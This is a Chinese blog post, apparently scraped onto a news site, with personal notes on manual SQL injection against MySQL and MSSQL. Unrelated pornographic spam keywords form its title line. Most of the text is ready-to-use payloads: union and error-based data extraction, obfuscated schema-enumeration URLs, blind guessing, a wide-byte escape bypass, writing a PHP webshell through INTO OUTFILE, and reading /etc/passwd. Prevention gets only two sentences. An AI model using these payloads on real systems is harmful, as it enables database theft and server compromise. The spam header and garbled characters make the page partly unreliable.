亚洲农村老熟妇肥BBBB_无码人妻精品一区二区蜜桃色_精品亚洲AⅤ无码午夜在线观看_中文字幕熟妇人妻在线视频_囯产色无码精品视频免费

當前位置: 首頁 > 軍事新聞 >

SQL注入之我見

時間:2020-07-15 18:08來源:網(wǎng)絡整理 瀏覽:
習慣sqlmap方便的的同時,會不知不覺依賴上,差點忘了根本,遂總結了一下,提醒自己sqlmap常見的SQL注入形式讀取數(shù)據(jù)庫內容常用方式:

習慣sqlmap方便的的同時,會不知不覺依賴上,差點忘了根本,遂總結了一下,提醒自己

SQL注入之我見

sqlmap


常見的SQL注入形式讀取數(shù)據(jù)庫內容常用方式: information_schema,mysql.user有回顯的函數(shù)錯誤提示: 有SQL錯誤顯示;無回顯的函數(shù)錯誤提示: 盲注,即沒有有SQL錯誤顯示;加密形式: SQL加密執(zhí)行顯示;其他形式: 寬字節(jié)注入等;預防措施: 如何避免;常用函數(shù): sql自帶的函數(shù);其他: 補充的地方;讀取數(shù)據(jù)庫內容常用方式

  數(shù)據(jù)庫都會有內置的表,里面已經(jīng)包含了所有建表的信息。以MySQL為例。在5版本以上的數(shù)據(jù)庫使用如下語句,就可以直接獲得數(shù)據(jù)庫的表的信息。

MySQL

  比如在MySQL下有

select group_concat(distinct table_name) from information_schema.columns where table_schema=database()

  不理解的話,可以直接查閱MySQL的information_schema.columns表就會清楚。相關的字段有 table_name,table_schema,column_name。
  mysql.user表相應的字段就會有User,Password.
  通過這些方式我們大概就可以知道目標數(shù)據(jù)庫,所應有的表信息,就可以進行相應的操作。注釋的話比如–,#,/*等

MSSQL

  在MSSQL下
  在開始前我們先來認識下默認系統(tǒng)表—sysdatabases。sysdatabases是MSSQL默認系統(tǒng)表,包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”這五個表,對應的bdid的值為1到5,用戶新建的數(shù)據(jù)庫從bdid=6開始,我們可以通過修改bdid的值來得出庫名,語句為:

select name from master.dbo.sysdatabases where dbid=1
union select name from yourdatabasename.dbo.sysobjects where xtype=char(85) and name not in (select top XX name from yourdatabasename.dbo.sysobjects where xtype=char(85))--


  上面的XX為數(shù)字,即表的序號,為數(shù)字。通過這種方式獲得表名,接下來就是字段名。
  然后分開兩個步驟:
 ?。?獲得表段的總序號(與id不同)

union select id from yourdatabasename.dbo.sysobjects where xtype=char(85) and name not in (select top XX name from yourdatabasename.dbo.sysobjects where xtype=char(85))--

 ?。?根據(jù)表的序號一個個列出字段的名字

union select name from yourdatabasename.dbo.syscolumns where ID=2073058421 and name not in (select top XX name from yourdatabasename.dbo.syscolumns where ID=2073058421 )--

  這里的ID是通過上面的步驟得出來的。
  其他技巧在針對字符輸入的時候,由于不能使用引號可以采用如下方式:

http://******?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/
(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,
*/**/from/**/Web.sys.all_objects/**/
where/**/type=char(85))A/**/where/**/rownumber=1)>0

  通過修改rownumber可以獲得表名,圖上的數(shù)據(jù)庫名為Web,如果是其他表的那就不會一樣了
  同樣用類似的方法可以獲得字段

http://××××?ID=1/**/
And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/
from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,
*/**/from/**/Web.information_schema.columns/**/
where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**
/where/**/rownumber=2)>0

  %2b為+號,由于表名是中文,就會出現(xiàn)上面的樣子,不是中文就不會這樣。

有回顯的函數(shù)錯誤提示

  針對有函數(shù)回顯,方式就會方便很多??梢酝ㄟ^union select 先得到應有的字段有多少個,如果不是數(shù)字型記得把數(shù)字換成null。union和union all的區(qū)別是,union會自動壓縮多個結果集合中的重復結果,而union all則將所有的結果全部顯示出來,不管是不是重復。此外猜字段的方式還可以用having ‘1’=’1’的方式來,通過錯誤提示,間接的得到表的屬性字段。其他方式的話,自由發(fā)揮。
  有時候的回顯,并不是直接建立在可視化的模塊的界面,而是只有SQL內置報錯函數(shù)的時候,就需要使用另一種方式,比如:

and 1=2 union select 1 from (select count(*),concat(floor(rand(0)*2),(the code you put))a from information_schema.tables group by a)b

  這句話的思路是通過floor(rand(0)*2)可能出現(xiàn)1或0的狀況在group的時候,會出錯,就會直接顯示出錯的地方,從而顯示相應的字段或者數(shù)據(jù),使用時,常常會用到limit,當然這種方法也有局限性,比如不能使用update,select into,insert,load_file(),group_concat()等函數(shù),所以使用的時候,就會有相應的限制。得出的錯誤,會在開頭多出一個1,所以去掉就可以了。

無回顯的函數(shù)錯誤提示

  在沒有回顯的狀態(tài)下如何判斷存在注入,最直觀的情況下,可以用benchmark等類似的延遲函數(shù),看有沒有延遲返回,來判斷有沒有執(zhí)行SQL語句。
  針對返回只有true和false的這種情況,可以通過構造一個判斷,來猜表的相應的內容。
  比如:

and left(databse(),1)='1'             #猜數(shù)據(jù)庫名的第一位是1
and length(databse())='1'            #猜數(shù)據(jù)庫名長度為1
and substr(left(role,1),1,1)=char(49) %23      #該表的role字段第一位為1,char(49)=1

  通過類似這些方式進行猜解。當然為了避免php的GPC函數(shù),需要用到hex函數(shù)以及使用ascii碼來繞過,比如上圖中的3的示例。

加密形式

  有些程序員會通過將查詢的部分加密,然后傳到服務器解密,然后進行查詢。常見的方式有base64,以及其他的方式。這時候策略就會和之前一樣,只不過,在構造的時候,多一部分編碼就可以了。

其他形式

寬字節(jié)注入

  比如%df’ 被PHP轉義(開啟GPC、用addslashes函數(shù),或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進制是 %5C ,那么現(xiàn)在 %df\’ =%df%5c%27,如果程序的默認字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。其實不僅僅是%df可以,其他附近還有一定領域的也可以,可以字節(jié)去查一下。

常用函數(shù)

  MySQL常用的自帶函數(shù)有:

user() //顯示數(shù)據(jù)庫用戶
database() //當前數(shù)據(jù)庫名
version() //數(shù)據(jù)庫版本
concat() //聯(lián)合數(shù)據(jù)
group_concat() //多組數(shù)據(jù)拼接
hex() //十六進制編碼
unhex() //十六進制解碼
load_file() //讀取文件
@@datadir //數(shù)據(jù)路徑
@@tmpdir //臨時路徑
@@version //數(shù)據(jù)庫版本

  其他的諸如 @@version_comment,@@version_compile_os,@@warning_count等可以自己去翻一下。
  此外用到比如轉換類型比如convert( using latin1),以及select file into outfile’/asd/a.a’可以自己去嘗試。
  MSSQL常用的自帶函數(shù)有:

db_name() //顯示數(shù)據(jù)庫名
shell編寫
create table test (a text);
insert into test(a) values('code that you print');
select a from text into outfile 'C://asd//a.php'
#讀取文件操作
create table test (a text);
insert into test(a) values(load_file('/etc/passwd'));
select a from test
預防措施

  如果只有int的參數(shù),最好最后直接轉換為int類型,這樣就可以避免注入,此外針對一些特殊的函數(shù)符號進行過濾。其他的一部分,下次會繼續(xù)講解,包括繞過等一些方式。
當然因為篇幅的原因,很多東西沒有延伸開來,如果有錯誤的話歡迎指正。

推薦內容